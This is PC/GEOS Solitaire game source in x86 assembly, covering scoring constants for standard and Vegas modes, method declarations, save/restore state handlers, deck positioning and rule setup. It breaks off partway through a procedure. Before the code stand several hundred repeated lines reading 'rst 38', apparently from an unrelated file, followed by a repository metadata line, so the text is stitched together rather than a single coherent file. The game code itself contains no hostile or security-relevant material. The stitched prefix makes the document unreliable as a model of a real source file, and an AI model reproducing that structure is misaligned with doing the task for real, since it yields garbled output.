rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
|
Appl/Games/Solitaire/solitaireGame.asm | steakknife/pcgeos | 504 | 244040 | COMMENT @----------------------------------------------------------------------
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Solitaire
FILE: Solitaire.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jon 9/90 Initial Version
DESCRIPTION:
RCS STAMP:
$Id: solitaireGame.asm,v 1.1 97/04/04 15:46:57 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
_JEDI = FALSE
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Macros
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Constants
;------------------------------------------------------------------------------
;
; This constant is stuck in the handle of the game's last donor
; data indicating that no card transfers have taken place yet.
;
USER_HASNT_STARTED_PLAYING_YET = 0
;
; ONE_SECOND is the number of ticks per second
;
ONE_SECOND = 60
;
; The following constants are needed to set up STANDARD_SCORING
;
INITIAL_STANDARD_SCORE = 0
SS_MINIMUM_SCORE = 0 ;min. score for STANDARD_SCORING
VS_MINIMUM_SCORE = -25000 ;min. score for ST_VEGAS
SS_HAND_PUSH = 0
SS_HAND_POP = 0
SS_HAND_FLIP = 0
SS_TALON_PUSH = 0
SS_TALON_POP = 5
;
; the 'cost' of turning over the talon is computed by the formula
; points = 10 * (draw number) - 40
; This means it costs 30 points for 1 card drawing, and 10 points
; for 3 card drawing. See PTSetupStandardScoring for details...
;
SS_FOUNDATION_PUSH = 10
SS_FOUNDATION_POP = -10
SS_FOUNDATION_FLIP = 0
SS_TABLEAU_PUSH = 0
SS_TABLEAU_POP = 0
SS_TABLEAU_FLIP = 5
;
; The user is penalized SS_POINTS_PER_TAX every SS_SECONDS_PER_TAX secs.
;
SS_SECONDS_PER_TAX = 10
SS_POINTS_PER_TAX = -1
;
; The following constants are used under ST_VEGAS
;
INITIAL_VEGAS_SCORE = -52 ;initial score for ST_VEGAS (in $)
VS_HAND_PUSH = 0
VS_HAND_POP = 0
VS_HAND_FLIP = 0
VS_TALON_PUSH = 0
VS_TALON_POP = 0
VS_TALON_FLIP = 0
VS_FOUNDATION_PUSH = 5
VS_FOUNDATION_POP = -5
VS_FOUNDATION_FLIP = 0
VS_TABLEAU_PUSH = 0
VS_TABLEAU_POP = 0
VS_TABLEAU_FLIP = 0
;------------------------------------------------------------------------------
; Definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Object Class include files
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Class & Method Definitions
;------------------------------------------------------------------------------
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; METHODS ;
; ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SolitaireClass class GameClass
MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI method
MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS method
MSG_SOLITAIRE_CASH_OUT method
MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE method
MSG_SOLITAIRE_AUTO_FINISH method
MSG_SOLITAIRE_CHECK_FOR_WINNER method
;
; Checks whether or not the user has won the game yet, and
; if so sends a method to itself to produce the win effect.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_DEAL method
;
; Deals out a new game of solitaire by passing out cards from the
; hand to the tableau elements.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_GET_DRAW_NUMBER method
;
; Returns the number of cards that should be flipped over from the
; hand to the talon each time the user clicks on the hand.
;
; PASS: nothing
;
; RETURN: cl = # of cards to draw
MSG_SOLITAIRE_GET_SCORING_TYPE method
;
; Returns the scoring mode that the game is being played under.
;
; PASS: nothing
;
; RETURN: cl = ScoringType
MSG_SOLITAIRE_INITIALIZE_SCORE method
;
; Sets up the scoring mechanism for the game (i.e., each deck
; is informed of its point values, etc.) Also alters the score
; to reflect a new game.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_INITIALIZE_TIME method
;
; Clears the game time, stops any current timer, and starts a
; new timer.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_NEW_GAME method
;
; Cleans up any business from the preceeding game and initiates
; a new game.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_ONE_SECOND_ELAPSED method
;
; This method tells the game that yet another second has gone by.
; Solitaire increments its time counter and reflects the change
; on screen
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_INIT_DATA_FROM_UI method
;
; Initializes the game object's instance data from various UI gadgetry
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_QUERY_FLUSH_OK method
;
; Checks to make sure that the talon hasn't been
; flushed more than the number of cards that are flipped
; each time (under vegas scoring only).
;
; PASS: nothing
;
; RETURN: carry set if OK to flush
MSG_SOLITAIRE_REDEAL method
;
; Begins a new game of solitaire by collecting all the cards,
; shuffling, redealing, etc.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SETUP_STANDARD_SCORING method
;
; Assigns the correct points to all the decks for standard scoring
; (see function header to SolitaireSetupStandardScoring for more).
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SETUP_ST_COUNTDOWN method
MSG_SOLITAIRE_SET_COUNTDOWN_TIME method
MSG_SOLITAIRE_SET_COUNTDOWN_TIME_AND_REDEAL method
MSG_SOLITAIRE_USER_REQUESTS_COUNTDOWN_TIME_CHANGE method
MSG_SOLITAIRE_SETUP_ST_VEGAS method
;
; Assigns the correct points to all the decks for vegas scoring
; (see function header to SolitaireSetupVegasScoring for more).
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SET_DRAW_NUMBER method
;
; Polls the UI gadgetry to determine how many cards the user wants
; played on each hand selection, and stores this number in the
; game's instance data.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SET_FADE_STATUS method
;
; Polls the UI gadgetry to determine whether the user wants cards
; to fade in at various times or not; stores this preference in the
; game's instance data in the form of fade masks.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SET_SOUND_STATUS method
;
; Checks the UI gadgetry to determine whether the user wants
; the various game sounds muted and stores this preference in the
; game's instance data.
;
; Pass: cx = 1 if mute selected, otherwise zero.
; Return: nothing
MSG_SOLITAIRE_SET_RULES method
;
; Changes the game's deck objects so that they will accept
; cards on certain conditions; this has the effect of
; changing the game rules from, for example, beginner to
; advanced rules.
;
; PASS: cx = DeckDragWhichCards struct for tableau elements
; dx = DeckDragWhichCards struct for foundations
;
; RETURN: nothing
MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE method
MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE method
MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE method
MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL method
MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL method
MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL method
MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST method
MSG_SOLITAIRE_FIXUP_DRAW_LIST method
MSG_SOLITAIRE_FIXUP_USER_MODE_LIST method
MSG_SOLITAIRE_SET_SCORING_TYPE method
;
; Polls the UI gadgetry to determine how the user wants the game
; to be scored, then sets up that mode.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_SPRAY_DECK method
;
; This method tells the game object to instruct one of its decks
; to do the cool can fan effect with any cards in its composite.
;
; PASS: cx = radius of the fan (in screen coordinates)
; dx = # of deck in composite to spray
; bp = gstate to spray through
;
; RETURN: nothing
MSG_SOLITAIRE_TURN_TIME_OFF method
;
; Sets KI_timeStatus to TIME_OFF, disables any active timers,
; and disables the time displays.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_TURN_TIME_ON method
;
; Sets KI_timeStatus to TIME_ON, starts a timer, and enables the
; time display.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_UNDO method
;
; This method undoes the last card transfer, and sets the score
; to its previous value.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_UPDATE_TIME method
;
; Updates the time counter and tells the time display to indicate
; the change.
;
; PASS: cx = # of seconds to add to the time
;
; RETURN: nothing
MSG_SOLITAIRE_UPDATE_TIMES_THRU method
;
; Updates the number of times the user has gone entirely through
; the hand.
;
; PASS: cx = incremental # of times (probably +1, sometimes
; -1 for undo)
;
; RETURN: nothing
MSG_SOLITAIRE_WE_HAVE_A_WINNER method
;
; Records that the game has been won and displays the winning
; card fan, etc.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_RESET_SCORE method
;
; Resets score based on the scoring type.
;
; PASS: nothing
;
; RETURN: nothing
MSG_SOLITAIRE_PLAY_SOUND method
;
; Plays a sound if the game sound is not muted.
;
; PASS: nothing
; Eventually, should be a handle or a constant
; that identifies which sound.
;
; RETURN: nothing
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; STRUCTURES, ENUMS, ETC. ;
; ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; ScoringType is the scoring paradigm to be used when playing the
; game.
;
; HACK HACK HACK
;
; Make sure that the list entries in the scoring selection UI are in
; the same order as here
;
ScoringType etype byte
ST_STANDARD_TIMED enum ScoringType,0
ST_STANDARD_UNTIMED enum ScoringType,1
ST_VEGAS enum ScoringType,2
ST_COUNTDOWN enum ScoringType,3
ST_NONE enum ScoringType,4
;
; TimeStatus indicates what state the timer is/should be in
;
TimeStatus etype byte
TIME_OFF enum TimeStatus,0 ;game is not timed
TIME_ON enum TimeStatus ;timer is running normally
TIME_PAUSED enum TimeStatus ;timer is paused (e.g., when
;the game is iconified)
TIME_STOPPED enum TimeStatus ;timer has been stopped for
;this game (probably because
;the user has won).
TIME_EXPIRED enum TimeStatus
TIME_NOT_ACTIVE enum TimeStatus ;set when solitaire is not
;running in the foreground
TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING enum TimeStatus
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; VARIABLE DATA ;
; ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ATTR_SOLITAIRE_GAME_OPEN vardata byte
; indicates that the game object is open and has not yet been saved
; to state.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; INSTANCE DATA ;
; ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
KI_drawNumber byte
KI_scoringType ScoringType
KI_cash word
KI_totalCountdownTime word
KI_time word ;time (in seconds)
KI_countdownTime word
KI_timerHandle word
KI_timeStatus TimeStatus
KI_nTimesThru word
KI_nFaceDownCardsInTableau word
KI_muteSound byte ;non-zero to mute sound
SolitaireClass endc
SolitaireDeckClass class DeckClass
SolitaireDeckClass endc
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Initialized variables and class structures
;------------------------------------------------------------------------------
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures segment resource
else
idata segment
endif
SolitaireClass
SolitaireDeckClass
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures ends
else
idata ends
endif
;------------------------------------------------------------------------------
; Uninitialized variables
;------------------------------------------------------------------------------
udata segment
udata ends
;------------------------------------------------------------------------------
; Code for SolitaireClass
;------------------------------------------------------------------------------
CommonCode segment resource ;start of code resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGameSaveState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Solitaire method for MSG_GAME_SAVE_STATE
Called by: MSG_GAME_SAVE_STATE
Pass: *ds:si = Solitaire object
ds:di = Solitaire instance
Return: ^hcx - block of saved data
dx - # bytes written
Destroyed: ax
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 18, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGameSaveState method dynamic SolitaireClass, MSG_GAME_SAVE_STATE
uses bp
.enter
mov ax, 5 * size word
;
; need to alloc N words + 1 (to indicate how many) in the block
;
; mov di, dx
; mov bx, cx
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc ;returns ax = segment of block
jc done
mov es, ax ;es:di <- data
clr di
;
; save our important stuff
;
mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI
call ObjCallInstanceNoLock
mov si, ds:[si]
add si, ds:[si].Solitaire_offset
mov_tr ax, cx ;cx <- UI countdown secs
stosw
mov ax, ds:[si].KI_time
stosw
mov ax, ds:[si].KI_countdownTime
stosw
mov ax, ds:[si].KI_nTimesThru
stosw
mov ax, ds:[si].KI_nFaceDownCardsInTableau
stosw
call MemUnlock
mov cx, bx
mov dx, di
done:
.leave
ret
SolitaireGameSaveState endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGameRestoreState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Solitaire method for MSG_GAME_RESTORE_STATE
Called by: MSG_GAME_RESTORE_STATE
Pass: *ds:si = Solitaire object
ds:di = Solitaire instance
Return: ^hcx - block of saved data
dx - # bytes written
Destroyed: ax
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 18, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireExtraSaveData struct
SESD_totalCountdownSecs word
SESD_time word
SESD_countdownTime word
SESD_nTimesThru word
SESD_nFaceDownCardsInTableau word
SolitaireExtraSaveData ends
SolitaireGameRestoreState method dynamic SolitaireClass,
MSG_GAME_RESTORE_STATE
uses bp
.enter
;
; Read our important stuff out
;
mov bx, cx
call MemLock
jc done
mov es, ax
clr di
; mov di, dx
mov cx, es:[di].SESD_totalCountdownSecs
mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
call ObjCallInstanceNoLock
mov cx, bx
mov dx, di
add dx, size SolitaireExtraSaveData
mov bx, ds:[si]
add bx, ds:[bx].Solitaire_offset
mov ax, es:[di].SESD_nFaceDownCardsInTableau
mov ds:[bx].KI_nFaceDownCardsInTableau, ax
mov ax, es:[di].SESD_time
mov ds:[bx].KI_time, ax
mov ax, es:[di].SESD_countdownTime
mov ds:[bx].KI_countdownTime, ax
mov ax, es:[di].SESD_totalCountdownSecs
mov ds:[bx].KI_totalCountdownTime, ax
push cx, dx
mov ax, MSG_SOLITAIRE_UPDATE_TIME
call ObjCallInstanceNoLock
pop cx, dx
mov bx, cx
call MemUnlock
done:
.leave
ret
SolitaireGameRestoreState endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetupStuff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SETUP_STUFF handler for SolitaireClass
Does a few things that need to be done before playing the
first game but do NOT need to be called for subsequent
games.
CALLED BY:
PASS: nothing
CHANGES: initializes data slots
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, di
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireInitDataFromUI method SolitaireClass, MSG_SOLITAIRE_INIT_DATA_FROM_UI
.enter
;
; Read off the game's state from the menu gadgetry
;
mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE
call ObjCallInstanceNoLock
;
; The initial cash is -52, and the MSG_SOLITAIRE_NEW_GAME below
; is gonna charge another $52, so counter that here..
;
mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE
call ObjCallInstanceNoLock
cmp cl, ST_VEGAS
jne setUserMode
clr cx
mov dx, INITIAL_VEGAS_SCORE
neg dx
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
setUserMode:
mov ax, MSG_GAME_SET_USER_MODE
call ObjCallInstanceNoLock
if _NDO2000
mov ax, MSG_GAME_SET_DRAG_TYPE
call ObjCallInstanceNoLock
endif
mov ax, MSG_SOLITAIRE_SET_FADE_STATUS
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_SET_SOUND_STATUS
call ObjCallInstanceNoLock
.leave
ret
SolitaireInitDataFromUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetupGeometry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SETUP_GEOMETRY handler for SolitaireClass
Arranges the game's objects according to how big a card
is (which should give some indication of screen resolution).
PASS: cx = horizontal deck spacing
dx = vertical deck spacing
RETURN: nothing
DESTROYED: ax
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetupGeometry method dynamic SolitaireClass, MSG_GAME_SETUP_GEOMETRY
cardWidth local word
cardHeight local word
.enter
mov bx, ds:[di].GI_cardWidth
mov ss:[cardWidth], bx
mov bx, ds:[di].GI_cardHeight
mov ss:[cardHeight], bx
push cx, dx ;save spacing
mov di, offset SolitaireClass
call ObjCallSuperNoLock
pop ax, di ;ax, di <- deck spacing
;
; Move all the decks to the right places.
;
mov cx, 2
mov dx, 2
mov bx, handle MyHand
mov si, offset MyHand
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle MyTalon
mov si, offset MyTalon
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ss:[cardWidth]
add cx, ax
add cx, ax
mov bx, handle Foundation1
mov si, offset Foundation1
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle Foundation2
mov si, offset Foundation2
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle Foundation3
mov si, offset Foundation3
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle Foundation4
mov si, offset Foundation4
call SolitairePositionDeck
mov cx, 2
add dx, ss:[cardHeight]
add dx, di
mov bx, handle TE1
mov si, offset TE1
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE2
mov si, offset TE2
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE3
mov si, offset TE3
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE4
mov si, offset TE4
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE5
mov si, offset TE5
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE6
mov si, offset TE6
call SolitairePositionDeck
add cx, ss:[cardWidth]
add cx, ax
mov bx, handle TE7
mov si, offset TE7
call SolitairePositionDeck
.leave
ret
SolitaireSetupGeometry endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitairePositionDeck
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Computes a location from card size units to screen units,
then moves a deck to that point.
CALLED BY: SolitaireSetupGeometry
PASS: ^lbx:si = deck to move
bp,di = width, height units
cx,dx = left, top position to move to in units of bp, di
CHANGES:
RETURN: nothing
DESTROYED: ax, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 12/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitairePositionDeck proc near
uses ax, di
.enter
;
; Move the deck to the newly calculated location
;
mov ax, MSG_VIS_SET_POSITION
mov di, mask MF_FIXUP_DS
call ObjMessage
.leave
ret
SolitairePositionDeck endp
if _NDO2000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetDragType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: METHOS_SET_DRAG_TYPE handler for SolitaireClass
Sets the drag mode to either outline or full dragging
CALLED BY:
PASS: cl = DragType
bp low = ListEntryState (test for LES_ACTUAL_EXCL)
CHANGES:
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
set GI_dragType, then either enable or disable the
UserModeList, depending on whether we're setting full
or outline dragging
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetDragType method SolitaireClass, MSG_GAME_SET_DRAG_TYPE
CallObject DragList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL
mov_tr cx, ax
mov ax, MSG_GAME_SET_DRAG_TYPE
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
call ObjCallSuperNoLock
ret
SolitaireSetDragType endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetRules
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SET_RULES handler for SolitaireClass
Changes the game's deck objects so that they will accept
cards on certain conditions; this has the effect of
changing the game rules from, for example, beginner to
advanced rules.
CURRENT RULES (12/5/90):
Beginner:
* Cards can be moved out of foundations.
* Face up sequences can be split up to drag
Intermediate:
* Cards can not be moved out of foundations
* Face up sequences can be split up to drag
Advanced:
* Cards can not be moved out of foundations
* Face up sequences can not be split up to drag
CALLED BY:
PASS: cx = DeckDragWhichCards structure to pass to tableauElements
dx = DeckDragWhichcards structure to pass to foundations
EXAMPLE: For BEGINNER_MODE, pass in:
cx = DDWC_UNTIL_SELECTED
dx = DDWC_TOP_ONLY
After the handler is through, the tableau elements will allow
the user select any of its up cards, and the foundations
will allow the user to drag their top cards around, which is
what we expect in BEGINNER_MODE. In contrast, setting up
ADVANCED_MODE, we would pass:
cx = DDWC_TOP_OR_UPS
dx = DDWC_NONE
Which would make the tableau elements' up cards accessible for
dragging only as entire groups, and would make the foundations'
cards unaccessible to dragging.
CHANGES: all tableauElements get the passed DDWC (OR'd
with DA_IGNORE_EXPRESS_DRAG)
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
* Combine the DDWC in cx with the "ignore express drag" bit
and send it to the tableau elements
* Combine the DDWC in dx with the "ignore double click" bit
and send it to the foundations
KNOWN BUGS/IDEAS:
I decided pretty randomly that foundations should not transfer
cards when double clicked since all this could ever do is
just move aces around from foundation to foundation. If the
user REALLY wants to do this, he can damn well drag them around
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 10/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetRules method SolitaireClass, MSG_SOLITAIRE_SET_RULES
push dx
;
; Turn the DDWC into a DeckAttrs
;
mov dx, cx
mov cl, offset DA_DDWC
shl dx, cl
ORNF dx, mask DA_IGNORE_EXPRESS_DRAG
mov cx, dx
;
; Ship of the new DeckAtttrs to the tableauElements
;
mov ax, MSG_DECK_SET_ATTRS
call CallTableauElements
;
; Turn the DDWC into some DeckAttrs
;
pop dx
mov cl, offset DA_DDWC
shl dx, cl
ORNF dx, mask DA_IGNORE_DOUBLE_CLICKS
mov cx, dx
;
; Send the DeckAttrs off to the foundations
;
mov ax, MSG_DECK_SET_ATTRS
call CallFoundations
ret
SolitaireSetRules endm
CallFoundations proc near
push ax
mov bx, handle Foundation1
mov si, offset Foundation1
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle Foundation2
mov si, offset Foundation2
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle Foundation3
mov si, offset Foundation3
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
mov bx, handle Foundation4
mov si, offset Foundation4
mov di, mask MF_FIXUP_DS
call ObjMessage
ret
CallFoundations endp
CallTableauElements proc near
push ax
mov bx, handle TE1
mov si, offset TE1
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle TE2
mov si, offset TE2
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle TE3
mov si, offset TE3
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle TE4
mov si, offset TE4
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle TE5
mov si, offset TE5
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
push ax
mov bx, handle TE6
mov si, offset TE6
mov di, mask MF_FIXUP_DS
call ObjMessage
pop ax
mov bx, handle TE7
mov si, offset TE7
